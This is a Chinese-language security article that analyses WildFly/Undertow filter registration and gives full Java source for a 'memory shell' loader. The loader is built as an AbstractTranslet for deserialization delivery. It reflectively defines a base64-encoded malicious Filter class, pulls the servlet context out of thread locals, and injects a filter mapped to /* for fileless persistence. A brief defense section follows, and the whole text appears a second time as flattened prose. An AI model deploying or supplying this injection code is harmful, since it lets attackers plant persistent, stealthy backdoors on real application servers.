Wildfly中间件内存马分析
字数 2368 2025-08-25 22:58:35

Wildfly中间件内存马分析与实现

1. Wildfly环境与基础概念

WildFly(原名JBoss AS/JBoss Application Server)是一套开源的企业级Java中间件软件,用于实现基于SOA架构的Web应用和服务。它包含一组可独立运行的软件组件,是Java EE/Jakarta EE应用服务器的重要实现之一。

本文分析的版本:WildFly 26.1.3

2. Filter内存马实现原理分析

2.1 Filter调用链分析

  1. 初始调用点

    • 在Servlet中下断点,查看调用栈
    • 第一次doFilter()出现在io.undertow.servlet.handlers.FilterHandler
  2. FilterChain生成

    • FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers)
    • 关键参数filters通过this.filters.get(dispatcher)生成
  3. FilterHandler实例化

    • io.undertow.servlet.handlers.ServletPathMatches.createHandler中实例化FilterHandler
    • 传入的filters参数实际上是noExtension列表
  4. Filter映射设置

    • io.undertow.servlet.handlers.ServletPathMatches.setupServletChains调用createHandler
    • addToListMap(noExtension, filterMapping.getDispatcher(), filter)生成ListMap

2.2 FilterMapping与Filter生成分析

FilterMapping分析:

  • 来自deploymentInfo
  • deploymentInfo通过this.deployment.getDeploymentInfo()获取
  • deploymentInfo.getFilterMappings()获取filterUrlMappings(ArrayList类型)
  • 元素类型为FilterMappingInfo
  • deploymentInfo.insertFilterUrlMapping方法可添加FilterMappingInfo

Filter分析:

  • 通过filters.getManagedFilter(filterMapping.getFilterName())获取
  • filters来自this.deployment.getFilters(),返回ManagedFilters对象
  • ManagedFilters.getManagedFiltermanagedFilterMap中获取ManagedFilter
  • ManagedFilters.addFilter可添加FilterInfomanagedFilterMap

2.3 Deployment关键分析

  • io.undertow.servlet.handlers.ServletPathMatches构造方法传入deployment
  • io.undertow.servlet.core.DeploymentImpl构造方法调用new ServletPathMatches
  • deploymentInfo来自this.originalDeployment.clone()
  • 可通过addFilter()添加FilterInfo

3. 内存马实现步骤

3.1 实现思路

  1. 获取deployment
  2. 获取deploymentInfo
  3. 实例化新的FilterInfo
  4. deploymentInfo添加FilterInfo
  5. 插入Filter映射
  6. deployment的Filters添加FilterInfo

3.2 关键代码实现

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.handlers.ServletRequestContext;
import io.undertow.servlet.spec.HttpServletResponseImpl;
import io.undertow.servlet.spec.ServletContextImpl;
import sun.misc.BASE64Decoder;
import javax.servlet.DispatcherType;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class WildflyFilterLoader extends AbstractTranslet {
    private static ServletContextImpl servletContext;
    private static HttpServletResponseImpl response;
    private static DeploymentInfo deploymentInfo;
    private static Deployment deployment;
    private static String filterName = "HFilter";
    private static String filterClassName = "com.server.HFilter";
    private static String url = "/*";
    
    // 加载Filter类
    private static synchronized void LoadFilter() throws Exception {
        try{
            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
        }catch (Exception e){
            Method a = ClassLoader.class.getDeclaredMethod("defineClass", 
                byte[].class, Integer.TYPE, Integer.TYPE);
            a.setAccessible(true);
            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
        }
    }
    
    // 获取Web上下文
    public static synchronized void GetWebContent() throws Exception {
        try{
            Thread thread = Thread.currentThread();
            Object threadLocals = GetField(thread, "threadLocals");
            Object table = GetField(threadLocals, "table");
            
            for(int i = 0; i <= Array.getLength(table)-1; i++){
                try{
                    Object object = Array.get(table, i);
                    Object value = GetField(object, "value");
                    
                    if (value.getClass().getName().contains("ServletRequestContext")){
                        ServletRequestContext servletRequestContext = (ServletRequestContext) value;
                        response = (HttpServletResponseImpl) GetField(servletRequestContext, "originalResponse");
                        servletContext = (ServletContextImpl) GetField(servletRequestContext, "currentServletContext");
                        deploymentInfo = (DeploymentInfo) GetField(servletContext, "deploymentInfo");
                        deployment = (Deployment) GetField(servletContext, "deployment");
                        break;
                    }
                }catch (Exception e){}
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    
    // 注入Filter
    private static synchronized void InjectFilter() throws Exception {
        try{
            if(deployment != null && deploymentInfo != null){
                Class characterEncodingHFilter = Thread.currentThread()
                    .getContextClassLoader().loadClass(filterClassName);
                
                FilterInfo filterInfo = new FilterInfo(filterName,characterEncodingHFilter);
                deploymentInfo.addFilter(filterInfo);
                deploymentInfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST);
                deployment.getFilters().addFilter(filterInfo);
                response.addHeader("Status","Work");
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    
    static {
        new WildflyFilterLoader();
    }
    
    public WildflyFilterLoader(){
        try{
            LoadFilter();
            GetWebContent();
            InjectFilter();
        }catch (Exception e){}
    }
    
    // 反射获取字段值
    private static synchronized Object GetField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

3.3 关键步骤详解

  1. 加载Filter类

    • 尝试直接加载,失败则使用defineClass动态加载
    • 使用BASE64编码的恶意Filter类字节码
  2. 获取Web上下文

    • 通过线程局部变量获取ServletRequestContext
    • 从中提取HttpServletResponseImplServletContextImpl
    • 获取DeploymentInfoDeployment对象
  3. 注入Filter

    • 创建FilterInfo实例
    • deploymentInfo添加Filter定义
    • 插入Filter映射关系
    • deployment的Filters集合添加Filter
  4. 反射工具方法

    • 支持获取类及其父类的私有字段

4. 防御建议

  1. 监控与检测

    • 监控DeploymentInfoFilterInfo的修改操作
    • 检测动态类加载行为
  2. 安全配置

    • 限制反射操作权限
    • 启用安全管理器
  3. 运行时保护

    • 使用RASP解决方案监控关键API调用
    • 定期检查已注册的Filter列表
  4. 代码审计

    • 检查所有动态加载的类
    • 审计所有Filter注册点

5. 总结

Wildfly Filter内存马的核心在于通过获取Web上下文中的DeploymentDeploymentInfo对象,动态添加恶意Filter并设置映射关系。这种技术利用了Wildfly/Undertow的内部实现机制,通过反射和动态类加载实现无文件持久化驻留。防御此类攻击需要多层次的安全防护措施。

Wildfly中间件内存马分析与实现 1. Wildfly环境与基础概念 WildFly(原名JBoss AS/JBoss Application Server)是一套开源的企业级Java中间件软件,用于实现基于SOA架构的Web应用和服务。它包含一组可独立运行的软件组件,是Java EE/Jakarta EE应用服务器的重要实现之一。 本文分析的版本:WildFly 26.1.3 2. Filter内存马实现原理分析 2.1 Filter调用链分析 初始调用点 : 在Servlet中下断点,查看调用栈 第一次 doFilter() 出现在 io.undertow.servlet.handlers.FilterHandler FilterChain生成 : FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers) 关键参数 filters 通过 this.filters.get(dispatcher) 生成 FilterHandler实例化 : 在 io.undertow.servlet.handlers.ServletPathMatches.createHandler 中实例化FilterHandler 传入的 filters 参数实际上是 noExtension 列表 Filter映射设置 : io.undertow.servlet.handlers.ServletPathMatches.setupServletChains 调用 createHandler addToListMap(noExtension, filterMapping.getDispatcher(), filter) 生成ListMap 2.2 FilterMapping与Filter生成分析 FilterMapping分析: 来自 deploymentInfo deploymentInfo 通过 this.deployment.getDeploymentInfo() 获取 deploymentInfo.getFilterMappings() 获取 filterUrlMappings (ArrayList类型) 元素类型为 FilterMappingInfo deploymentInfo.insertFilterUrlMapping 方法可添加 FilterMappingInfo Filter分析: 通过 filters.getManagedFilter(filterMapping.getFilterName()) 获取 filters 来自 this.deployment.getFilters() ,返回 ManagedFilters 对象 ManagedFilters.getManagedFilter 从 managedFilterMap 中获取 ManagedFilter ManagedFilters.addFilter 可添加 FilterInfo 到 managedFilterMap 2.3 Deployment关键分析 io.undertow.servlet.handlers.ServletPathMatches 构造方法传入 deployment io.undertow.servlet.core.DeploymentImpl 构造方法调用 new ServletPathMatches deploymentInfo 来自 this.originalDeployment.clone() 可通过 addFilter() 添加 FilterInfo 3. 内存马实现步骤 3.1 实现思路 获取 deployment 获取 deploymentInfo 实例化新的 FilterInfo 向 deploymentInfo 添加 FilterInfo 插入Filter映射 向 deployment 的Filters添加 FilterInfo 3.2 关键代码实现 3.3 关键步骤详解 加载Filter类 : 尝试直接加载,失败则使用 defineClass 动态加载 使用BASE64编码的恶意Filter类字节码 获取Web上下文 : 通过线程局部变量获取 ServletRequestContext 从中提取 HttpServletResponseImpl 、 ServletContextImpl 获取 DeploymentInfo 和 Deployment 对象 注入Filter : 创建 FilterInfo 实例 向 deploymentInfo 添加Filter定义 插入Filter映射关系 向 deployment 的Filters集合添加Filter 反射工具方法 : 支持获取类及其父类的私有字段 4. 防御建议 监控与检测 : 监控 DeploymentInfo 和 FilterInfo 的修改操作 检测动态类加载行为 安全配置 : 限制反射操作权限 启用安全管理器 运行时保护 : 使用RASP解决方案监控关键API调用 定期检查已注册的Filter列表 代码审计 : 检查所有动态加载的类 审计所有Filter注册点 5. 总结 Wildfly Filter内存马的核心在于通过获取Web上下文中的 Deployment 和 DeploymentInfo 对象,动态添加恶意Filter并设置映射关系。这种技术利用了Wildfly/Undertow的内部实现机制,通过反射和动态类加载实现无文件持久化驻留。防御此类攻击需要多层次的安全防护措施。